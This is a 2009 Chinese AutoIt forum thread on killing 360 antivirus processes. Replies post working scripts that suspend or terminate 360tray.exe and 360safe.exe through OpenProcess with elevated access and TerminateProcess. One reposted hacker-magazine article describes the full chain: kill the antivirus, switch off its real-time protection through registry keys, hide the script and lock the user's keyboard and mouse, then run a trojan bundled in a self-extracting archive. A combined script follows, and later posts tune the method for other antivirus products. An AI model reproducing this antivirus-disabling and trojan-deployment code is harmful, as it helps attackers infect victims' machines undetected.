找回密码
 加入
搜索
楼主: 破帽遮颜

谁能用AU3搞定360的进程?

 火.. [复制链接]
 楼主| 发表于 2009-4-24 16:43:30 | 显示全部楼层
能轻易搞定,我会在这发帖?
发表于 2009-4-24 19:29:01 | 显示全部楼层

_ProcessSuspend("360tray.exe")
Func _ProcessSuspend($process)
        $processid = ProcessExists($process)
        If $processid Then
                $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $processid)
                $i_sucess = DllCall("ntdll.dll","int","NtSuspendProcess","int",$ai_Handle[0])
                DllCall('kernel32.dll', 'ptr', 'CloseHandle', 'ptr', $ai_Handle)
                If IsArray($i_sucess) Then
                        Return 1
                Else
                        SetError(1)
                        Return 0
                Endif
        Else
                SetError(2)
                Return 0
        Endif
EndFunc
 楼主| 发表于 2009-4-24 20:32:17 | 显示全部楼层
楼上的经过测试,无效!不过还是感谢支持!
发表于 2009-4-24 20:38:33 | 显示全部楼层
Func _ProcessResume($process)
        $processid = ProcessExists($process)
        If $processid Then
                $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $processid)
                $i_sucess = DllCall("ntdll.dll","int","NtResumeProcess","int",$ai_Handle[0])
                DllCall('kernel32.dll', 'ptr', 'CloseHandle', 'ptr', $ai_Handle)
                If IsArray($i_sucess) Then
                        Return 1
                Else
                        SetError(1)
                        Return 0
                Endif
        Else
                SetError(2)
                Return 0
        Endif
EndFunc
恢复进程
发表于 2009-4-24 20:40:33 | 显示全部楼层
先更改360注册表的权限 然后用system身份结束进程
 楼主| 发表于 2009-4-24 22:29:58 | 显示全部楼层
用system身份结束进程?
发表于 2009-4-25 05:15:02 | 显示全部楼层
本人不才,不过在百度找到唯一一篇关于au3结束360的文章
不敢私藏,和大家分享下,不知对ls仁兄有否借鉴作用
原地址:
http://www.fuck-god.com/Blogs/xuexi/200810/20081024005206.Html

AU3干掉360实时保护
破剑

(发表于黑客防线08年第7期)

最近学习用au3写程序的自动安装脚本,发觉au3很是强大。今天在一个群里一位 兄弟说现在的木马基本都不能过360的实时保护。现在的好多木马都能过主防,但 是都惨败在360的拦截之下。于是我就想pk一把360的实时保护。

去虚拟机安装了360安全卫士,运行我免杀的黑洞服务端,黑洞上线了,过一会360提示添加未知服务。如图1
一点拒绝,服务端立刻下线,查看黑洞的服务状态变为停止。经过测试,得出360是隔一定的时间对特定的地方进行检测,并将结果与上一次的数据进行对比,如果有变化就提示。说明360的实时保护并不实时啊!查看360的实时保护 一共有5种保护,分别是恶意插件入侵拦截,网页防漏及恶意网站拦截,U盘病毒免疫,局域网ARP攻击拦截,系统关键位置保护。默认状态下360开启了除局域网ARP攻击拦截以外的保护,进过分析,拦截木马服务的应该是系统关键位置保护。于是我还原虚拟机后安装360,并关闭360的系统关键位置保护。运行免杀的黑洞后,打开360结果无任何提示,证明了只要360的保护被关闭,再运行我们的木马360的实时防护就成睁眼瞎了。经过我开启和关闭360的关键位址防护的动作对比,发现注册表里有了变化,于是我就直接修改注册表的键值发现360的防御没变化,但是当我退出360,并重新运行360后,发现360的防御状态被更改了。
[HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon]
"ExecAccess"=dword:00000001  恶意插件
[HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon]
"SiteAccess"=dword:00000001 网页防漏功能
[HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon]
"MonAccess"=dword:00000000 系统关键位置保护
[HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon]
"UDiskAccess"=dword:00000001 U盘免疫
当值为00000001时打开保护,0000000为关闭保护
于是一个过360的流程就出来了:先结束360的进程,然后修改注册表的键值,关闭360的实时保护,运行木马。还可以在木马运行后,再打开360的防御,免得被人发现。既然最近在用强大的au3进行自动化操作,那么我就想用au3打造一个过360的DD。
安装au3后 ,新建一个文本文档把后缀名修改为au3点右键选择编辑脚本(scitf),就可以写我们过360的代码了。
结束进程
前面说过了要过360 就先干掉他的进程。通过查找帮助结束进程的函数为ProcessClose  。使用方法为ProcessClose ( "进程名" [, 标志] )4.1版的360有2个进程一个为360safe.exe另一个为360tray.exe。结束代码如图

但是在测试中发现重新打开360会提示,如图

所以我们就换一个换成xp自己带的工具taskkill来结束它。AU3中运行其他程序的函数有RUN, RUNWAIT两个函数的区别在于RUN直接运行外部程序不等待,直接执 行下一句。RUNWAIT是运行一个外部程序并暂停脚本的执行直至该程序执行完毕。在这里我们两个都可以用。但我们必须要先结束了进程然后修改注册表才有效果,所以为了安全我建议使用RUNWAIT。使用方法为RUNWAIT(“运行的文件名”)由于taskkill是命令行的DD,运行起来的时候会跳出一个黑框框然后消失。那不无疑与告诉别人。嘿,哥们你中招了赶紧杀毒吧!AU3提供隐藏窗口的函数@SW_HIDE。帮助手册给他定义为:隐藏指定窗口并激活其它窗口。用他来影藏窗口就完美了。完整的命令如图

注册表
进程结束完了,继续修改注册表。AU3修改注册表的函数使用RegWrite直接通过写入的方法来进行修改键值试用格式为RegWrite ( "键名" [,"值项", "类型", 数据] )
注册表可以把全部的保护关闭,也可只关闭系统关键位置保护。

运行木马
360的实时保护经过上面的处理已经变成残废了,现在直接运行我们的木马就安全了,用run runwiat都可以。
隐蔽au3运行的图表
默认情况下au3运行在右下脚会有一个黑色的小球图标,脚本运行完毕后自动退出。从脚本开始到木马结束的话时间也不短的,所以要隐藏AU3的运行图表在编写的脚本第一行加上#NoTrayIcon即可隐藏图标
键鼠锁定
由于au3在自动运行时,键盘鼠标的操作有可能会导致脚本中断,所以有必要对键盘鼠标进行暂时锁定,锁定函数为BlockInput  1 = 屏蔽用户输入0 = 启用用户输个人觉得在#NoTrayIcon执行后执行键盘锁定最好,所以在#NoTrayIcon后输入BlockInput(1),键盘一旦锁定会屏蔽用户的一切输入,在脚本执行完毕后必须进行解锁,不然只有重启计算机后键盘鼠标才可进行操作,BlockInput 为键鼠解锁函数参数和BlockInput一样,BlockInput(0)我建议在在最后的一行加上这句代码。
最终代码为

经过上面的几步我们把工作已经做完了,将写好的脚本编译为EXE即可。点工具下的编译脚本或者按ctrl+f7然后指定保存路径后即可编译成功。然后将编译后的文件和木马放到一起将你的木马改名为第3部中run后的文件名即可然后制作成rar自解压包。如果不会制作自解压包的朋友,请自行查找相关资料。
以上这个方法只是个思路,会编程的朋友就更容易实现这个了。编译出的文件应该会更小的
发表于 2009-4-25 09:05:07 | 显示全部楼层
本帖最后由 pusofalse 于 2009-4-25 09:22 编辑

简单的用ProcessClose并不能关闭开启自我保护的360进程,可能hook了api了吧~?
但用TerminateProcess却可以,在本机试验成功。关键是打开进程句柄时所需要的OpenProcess函数和它的第一个参数AccessRights~~
$h360Safe = _OpenProcess("360Safe.exe", 0x10000000)
_TerminateProcess($h360Safe, 0)
$h360Tray = _OpenProcess("360Tray.exe", 0x10000000)
_TerminateProcess($h360Tray, 0)


Func _OpenProcess($iProcessId, $iAccess, $iInherit = 0)
        Local $hProcess

        $iProcessId = ProcessExists($iProcessId)
        $hProcess = DllCall("Kernel32.dll", "hWnd", "OpenProcess", _
                        "dword", $iAccess, "int", $iInherit, "int", $iProcessId)
        Return $hProcess[0]
EndFunc        ;==>_OpenProcess()


Func _TerminateProcess($hProcess, $iExitCode)
        Local $iResult
        $iResult = DllCall("Kernel32.dll", "int", "TerminateProcess", _
                        "hWnd", $hProcess, "uint", $iExitCode)
        Return $iResult[0] <> 0
EndFunc        ;==>_TerminateProcess()

评分

参与人数 1金钱 +15 贡献 +10 收起 理由
破帽遮颜 + 15 + 10 似乎有效哦~

查看全部评分

发表于 2009-4-25 18:20:15 | 显示全部楼层
回楼上,早就测试过了,TerminateProc不能关闭,除非没开户自我保护.以下是初期测试代码.

$sProcess = "360tray.exe"
$ProcessPid = ProcessExists($sProcess)
$ProcHandle = DllCall("kernel32.dll", "hwnd", "OpenProcess", "dword", BitOR(0x0400, 0x0004, 0x0001), "int", 0, "dword", $ProcessPid)
$pStruct = DllStructCreate("dword")
$ProcTerminate = DllCall("kernel32.dll", "int", "TerminateProcess", "hwnd", $ProcHandle[0], "uint",DllStructGetData($pStruct,1))
发表于 2009-4-25 18:33:56 | 显示全部楼层
本帖最后由 ceoguang 于 2009-4-25 18:34 编辑

搞错,不好意思,原来是OpenProcess权限问题.

$sProcess = "360tray.exe"
$ProcessPid = ProcessExists($sProcess)
$ProcHandle = DllCall("kernel32.dll", "hwnd", "OpenProcess", "dword", 0x10000000, "int", 0, "dword", $ProcessPid)
$ProcTerminate = DllCall("kernel32.dll", "int", "TerminateProcess", "hwnd", $ProcHandle[0], "uint",0)
发表于 2009-4-25 21:29:06 | 显示全部楼层
搜来的,不知是否有用
ProcessClose("360safe.exe")
ProcessClose("360tray.exe")
#NoTrayIcon
BlockInput(1)
RunWait(@ComSpec & " /c " & 'taskkill /f /im "360tray.exe"',"",@SW_HIDE)
RunWait(@ComSpec & " /c " & 'taskkill /f /im "360safe.exe"',"",@SW_HIDE)
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon","ExecAccess","REG_DWORD","00000001")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon","SiteAccess","REG_DWORD","00000001")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon","MonAccess","REG_DWORD","00000000")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon","ExecAccess","UDiskAccess","00000000")
Run(@ProgramFilesDir & "\Internet Explorer\iexplore.exe www.autoitx.com")
BlockInput(0)
发表于 2009-4-25 22:43:06 | 显示全部楼层
上面那段估计行不通,跟帖都说过用taskkill和修改注册表都无法搞定360的自我保护
发表于 2009-4-25 22:43:13 | 显示全部楼层
上面那段估计行不通,跟帖都说过用taskkill和修改注册表都无法搞定360的自我保护
发表于 2009-4-25 23:04:02 | 显示全部楼层
搞错,不好意思,原来是OpenProcess权限问题.
[au3]
$sProcess = "360tray.exe"
$ProcessPid = ProcessExists($sProcess)
$ProcHandle = DllCall("kernel32.dll", "hwnd", "OpenProcess", "dword", 0x10000000, "i ...
ceoguang 发表于 2009-4-25 18:33

本人测试成功了!
如法炮制,结束瑞星及其防火墙进程,不成功!
发表于 2009-4-26 00:04:14 | 显示全部楼层
本人测试成功了!
如法炮制,结束瑞星及其防火墙进程,不成功!
hlzxcjx 发表于 2009-4-25 23:04

试试将
$ProcTerminate = DllCall("kernel32.dll", "int", "TerminateProcess", "hwnd", $ProcHandle[0], "uint",0)
的最后一个参数改为3或4看看,不然就只能向其发送虚假的关机命令了.
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-5-17 04:37 , Processed in 0.080604 second(s), 18 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表